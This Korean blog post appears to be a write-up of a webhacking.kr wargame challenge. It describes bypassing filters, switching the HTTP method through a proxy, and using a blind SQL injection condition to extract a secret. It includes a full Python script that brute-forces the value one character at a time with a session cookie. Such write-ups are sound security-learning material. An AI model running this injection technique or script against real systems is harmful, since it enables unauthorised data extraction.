처음에 문제 들어가기 위한 관련 자료 -> 여기
a = ['{:x}'.format(i) for i in range(128+1)] 관련 자료는 여기
일단 요청을 보낼때 파로스나 버프같은 프록시로 요청을 잡아서 메소드를 OPTION메소드로 바꿔서
요청을 보내면 어떤 화면이 나오는데.. 인젝션은 특별히 어려운게 없으므로 그냥 하면 됨.
필터링을 다 피하고 쿼리문을 짜보면 if(substr(비밀번호,1,1)in(0x16진수),3,0) 이런식으로 판별.
그런데 한가지 이상한점.
처음에 인젝션할때는 맞으면 no=1로 판별해서 Apple가 출력되면 맞는걸로 확인, 틀리면 no=2로 판별
해서 banana였나? 그게 나오도록 해서 판별했는데 이런식으로 판별하니 중간에 맞는 값인데도 인젝션
결과가 틀리게 나와서 한참동안 고생함. 맞으면 3번 페이지의 Secret가 나오고, 틀리면 no=0으로
아무것도 안나타나게 하는방식으로 판별하니 제대로 나옴.
import httplib, urllib, urllib2 # -*- coding: euc-kr -*- form = urllib.urlencode({'id':'?????','pw':'?????'}) req = urllib2.Request('http://webhacking.kr',form) res = urllib2.urlopen(req) cookie = res.headers.get('Set-cookie') a = ['{:x}'.format(i) for i in range(128+1)] answer = '' for j in range(1,12): print j for i in a: req = httplib.HTTPConnection('webhacking.kr') send = "/challenge/web/web-09/index.php?no=if(substr(id,"+str(j)+",1)in(0x"+str(i)+"),3,0)" req.request('OPTION',send, form,{'Cookie':cookie}) res = req.getresponse() read = res.read() if(read.find('Secret') != -1): num = '0x'+str(i) answer = answer + str(chr(int(num,16))) print 'answer is',i,':',answer; break
'webhacking > sql, sql injection' 카테고리의 다른 글
mysql max,min함수 (0) | 2014.08.31 |
---|---|
mysql 이상한 주석문 (0) | 2014.08.31 |
rubiya.kr 17번. (0) | 2014.08.30 |
rubiya.kr 16번. (0) | 2014.08.30 |
itchy (0) | 2014.08.29 |